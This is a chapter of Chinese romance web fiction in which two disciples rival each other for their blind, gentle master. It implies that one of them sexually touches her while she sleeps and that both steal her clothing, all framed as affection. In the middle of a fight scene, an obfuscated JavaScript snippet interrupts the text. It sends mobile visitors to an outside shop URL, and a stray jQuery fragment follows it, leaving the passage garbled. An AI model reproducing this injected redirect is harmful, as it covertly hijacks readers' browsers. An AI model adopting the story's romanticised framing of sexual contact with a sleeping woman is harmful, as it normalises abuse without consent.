巫慈是极温和的性子。
只是近来发生的事,令再温和的她都有些难耐,又难以启齿。
睡梦中缠上来的灼热游蛇,滚烫的吐息,封住的呜咽,睡醒后微肿的唇瓣,发酸的腰侧和刺痒的腿……这样的事隔几日就会发生,偏偏入了梦就难以醒来,直到第二日早晨。
她虽坠入凡间,可身躯和肉体凡胎还是不同的,不该有世俗之欲……
巫慈掀开被子,身上有些酸软沉重,她抿了抿干燥的唇,伸手去摸茶壶茶杯。
她没碰到,但前方传来茶水入杯的声音。
“师父。”
林枕书将茶递到她手上。
两个徒儿小时候是打地铺睡在她房里的,总说怕黑,不敢独自入眠,但男大当避嫌,哪怕是师徒。前两年各自分了房间,巫慈就不许他们再留宿了。
巫慈张了张嘴,终究没有问出口。
枕书和阿笙都是极单纯的孩子,别让污秽的幻梦玷污了。
“阿笙出去了么?”
平日一起来就能听见俞笙叽叽喳喳的声音,今日却格外安静,巫慈洗漱更衣完,不禁问道。
“师弟天没亮便起了,许是下山玩去了,他总是不安分。”林枕书神色微暗,见巫慈坐着无意识揉了两次肩,“师父不舒服?”
巫慈并不严重,轻微的酸痛过会就好了,许是昨夜硌到了,可林枕书的手先一步搭上来:“师弟还没回,我替师父捏一捏,再用早膳。”
林枕书立到巫慈身后,按着她的肩膀靠上椅背,力道适中地开始揉捏。
酸软霎时舒缓,比她自己捏有用得多,想起今日还要种豆子,巫慈便允了。
俞笙是有时会自己下山,她并未担心。
林枕书垂眸,望着师父放松的神情,额前的碎发有一缕轻轻落在白布上,而身后垂着的发丝不可避免地扫在他手背上,很柔软,又很痒。
“师父,后背和手可要按一按?”过了会,他缓缓俯身。
肩膀连着手臂都有些酸,巫慈应道:“好。”
林枕书嘴角牵起,往侧一步握住那截皓腕,一下一下往上按。巫慈的皮肤白皙,按一下就留红印,好一会才变淡,他如捧珍宝,悉心呵护。
朝阳斜斜的,还没绕过山头,微凉的晨风卷来朝露气息,一切都那么宁静。
就该是这样的。
巫慈恬静温和,他也不善言辞,她们师徒二人本可以在山头过平静日子,偏偏来了个俞笙——
“师父,我回来了!”
俞笙远远就嚎了嗓子,肩上扛着水缸那么大的一捆竹子,每一根都削得整齐,手上还拖着一捆顺手拾的树枝柴火,邦邦两声卸在地上。
他纯手砍的,后背湿了一块,脖子上滑下汗珠,笑嘻嘻进屋,不料看到师兄牵着师父的手左右摆弄,一下僵住,转而咬牙。
他才出门多久,就让人钻了空子。
“阿笙。”巫慈听到了他的喊声,想起身,但手臂上的力道突然大了些。
林枕书沉声:“师父,还没按好。”
“师父,我好热,足足砍了一大捆竹子呢。”俞笙可不管他,一把扯开了领口,喘着粗气,小狗一般半跪在巫慈跟前。
“你的红疹还没好,怎么突然独自去深山砍竹子?”巫慈从林枕书那抽回手,语气严肃起来,山上雾瘴变重,普通人撞上是会丢命的。
“师父,我已经好了。”俞笙扯了扯巫慈的衣袖,隐晦地邀功,“今日要种菜,我看两个院子篱笆都有松动,便砍些来加固。”
他无事,巫慈才放下心,叮嘱不许随意去深山之后,取了手巾,从他额头开始按压擦汗,再到脸颊。
俞笙伸长了脖子,蹭了蹭,要抓着师父的手往衣领里伸时,有人看不下去了。
勾栏作派。林枕书口中嚼着这四个字,咬紧了牙。
“师父,瘦肉粥正温着,一会要凉了。”
师兄弟互相怨恨,但从不会在师父跟前互掐,林枕书默不作声盛了两碗粥,又想起今早浣衣时发现的事,声调又冷了一分。
而巫慈早已习惯,两个徒弟一个沉稳一个淘气,并未察觉什么不对。
“阿笙辛苦了,快换身衣服,来吃早膳。”
“好嘞。”
累归累,但忙活这么一遭,总算发泄了昨夜压不下的燥意。俞笙神清气爽,用冷水扑了脸,跑去师父身边坐。
南陵“秋老虎”凶猛,但要冷下来也是一夜的事,届时山上会降霜下雪。
现在种下油菜和豌豆,入冬刚好能吃上蒜末炒菜薹和暖锅炖豆尖。
林枕书和俞笙一人一把锄头,将泥翻过来,再敲得细碎,和后山堆了许久的鸡粪兔粪搅拌均匀,地分为左右两块,四周都刨了漂亮的排水沟。
巫慈撒了种,之后要把地都泼一遍,那两人二话不说抓起桶去山泉挑水,较什么劲似的。
“师父,水来了!”俞笙健步如飞,不小心拌了师兄一脚,所以最先到师父跟前。
林枕书半桶水浇在了衣服上,扁担失衡,水桶落地。
俞笙又喊热,弯着腰凑上去要巫慈给他擦汗,完了又扶起她的手,往屋里推。
“就剩浇水了,交给我,外头热,师父进屋歇着吧。”
刚出去,就被山泉水泼了个透心凉。
“矫揉造作,不知廉耻,还热吗?”林枕书嘴唇微动,刻薄的话传到耳里。
俞笙抹了把脸,嗤笑一声:“师父就是更疼我,师兄有什么办法呢?”
林枕书脸色阴沉,默了。
俞笙那副骚样,他是真做不到。
师父……喜欢这样的吗?
巫慈做饭去了。
这些年虽有两个徒儿伺候在侧,她有许多事都是亲力亲为的,眼睛并没有成为太大的阻碍。
刚切着冬瓜,厨房就窜进来两个人打下手,这回换俞笙生火,林枕书处理他早上杀的鸡。
“师父,院子种了菜地方都小了,浇水还容易脏,我答应你要打的秋千也放不下了。”俞笙掰着柴火,闷闷的声音传来。
“说着笑的,师父不玩秋千。”巫慈笑了。
俞笙眼睛一转,声音雀跃:“附近不是有座破庙吗,那儿的坡适合种菜,玉河镇的人张罗着迁走,咱把庙拆了开垦出来,可好?”
巫慈不说话。
而林枕书转过来,菜刀上还沾着血水,凉薄的视线落在俞笙身上。
“不必跑远,在院里就好。”
巫慈声音如常,可俞笙偏偏就察觉到了什么,及时收住,木柴塞进火灶,无比乖巧:“好,听师父的。”
冬瓜焖鸡,酱小白菜,葱花蛋羹和山药骨汤。
这顿饭比较沉默,俞笙埋头扒饭,待巫慈吃好,他把碗筷一放,却发现林枕书先他一步咻地站起来。
“师弟慢吃,我服侍师父午憩。”
他不善争抢的师兄什么时候也学会这一招了?
俞笙眼睁睁看着师父搭着林枕书的手臂,往屋里走,今日接二连三的火气就要压不住了。
巫慈午憩前习惯听一会医书或者古籍,林枕书给她念。
念完,巫慈睡下,林枕书放下纱帐,轻轻关门。
厨房饭桌都收拾干净了,但是不见俞笙人,一直走出了院子,才看到他。
俞笙咬着牙,早已不是在巫慈跟前的乖巧模样,他手掌渗出一团黑气,比深山任何一片雾瘴颜色都要深。
一根人头大的木头轻巧拿在手中,是刚拔的。
“放下,别吵着师父。”
林枕书瞥了一眼,淡淡警告。
木头轻轻落地,但是俞笙的拳头已经挥到林枕书面前。
“你不是最清高,最安分守矩吗?现在又处处撩拨师父做什么?”
林枕书挥手往身后设了道结界,手臂抬起,金光缠绕,挡下蓄力的一拳。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585606|205241||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
总好过你那副勾栏作派,我问你,昨夜师父换下的小衣是不是你偷的?”
黑气与金光都只收在掌心,触碰之时炸出余震,树木簌簌抖动,雀鸟逃飞。两人招招狠厉,拳拳到肉,目光怨恨似要将对方挫骨扬灰。
“是又如何,师父最喜欢的是我,站在师父身边的也只能是我!”
即使早有答案,林枕书还是目眦欲裂,掐着俞笙脖子的手霎时青筋毕露:“蠢狗,你知不知道什么叫尊师重道?”
而俞笙拽着他的头发,五指的力道似要生生捏碎他的头骨,咬牙切齿:“你便知道?贱种!师父上回丢失的擦汗帕子是不是你偷的?”
僵持一瞬,各自又出手,掌与拳相碰,两人震得退后几步,又扭打而上,中间穿插着你一言我一语的咒骂。
……
停战。
俞笙下颌青了,嘴角红了,肩骨错位,拉着手臂转动脖子咔哒作响,脸上是风轻云淡:“喂,那座破庙是什么来头?”
林枕书额角破了,左腕折了,喉口微腥,运着灵力疗愈,嗤之以鼻:“你不用知道。”
“与师父有关的,我全都要知道。”
俞笙笃定道,脑中理着脉络。那劳什子月亮庙坐落多年,起初荒得很,直到近几年玉河镇人日子好起来了,就陆陆续续不少村民闲得没事上香祈福。
尤其是今年年初开始,香火三天两头地续。
人一多,恐怕扰了山上清静,加上林枕书也常常上香,着魔似的,他就对那破庙有了意见。
“蠢狗,听好了,你要是敢动那庙我一定弄死你。”
林枕书不欲与之多费口舌,丢下一句警告,转身之际又添:“近来三界界限紊乱,各大门派联合诛魔,收好你身上的脏东西,别连累师父。”
俞笙双眸微眯,笑:“再脏也没你脏,也不知道你是从哪来的,在师父身边有什么目的。”
林枕书面色一沉,火药味又起,眼看着又要干架,结界里、小屋中突然传来一声微哑的呼唤。
“枕书,阿笙……”
俞笙先跑,被林枕书袭了一掌,他踉跄两步,跃上去掰住前者的肩膀,被肘击后抬脚踹去。
最后双双鼻青脸肿出现在巫慈面前。
“师父,怎么了?”
巫慈才歇了半个时辰,中间迷迷糊糊又惊醒过来,不知是否天干物燥,她这阵子总是睡不好。
见她要起,林枕书去挂纱帐,俞笙蹲下,要替巫慈穿鞋。
他的手刚刚碰到脚腕,巫慈下意识后缩,眉头轻蹙,伸手扯了膝盖的衣裙。
“我这儿可是遭虫咬了?不太舒服。”
白皙的小腿上红了一小块,确实像什么的齿痕,分外刺眼。
今早起床便有了,那时还不疼,此刻衣物摩擦便出现不适。
“还真是,师父等一等,我拿药膏来擦上就好了。”俞笙盯着眼神发暗,不自然地摸了下鼻子。
怪他,实在忍不住,失了力道。
而林枕书目露凶光,口型恶狠狠碾出二字,俞笙辨别出来,是骂他“畜生”。
那又如何。
既然他们的心思都不干净,又只有一个人能站在师父身边,那就看谁更胜一筹了。林枕书克己复礼从不逾矩,他卑鄙无耻不择手段,迟早把师父的心系在身上。
“是我的疏忽,日后定严加防范,不许一只虫子进师父的房间。”林枕书立在原地,拳头握得死紧。
清凉的药膏涂上,巫慈已经不难受了。
“无碍,山上有虫子不奇怪。”
今日又是稀疏平常的一日,种好了菜,日头大着,前阵子采的草药也晒得七七八八,就在这山头,师徒三人,不问世事,有条不紊。
两个徒弟都是极乖的,从不惹她生气,事事以她为先。
……
当晚外面又是沉闷的博弈和低声的咒骂,好在兔子鸡鸭们都司空见惯,懒得出声。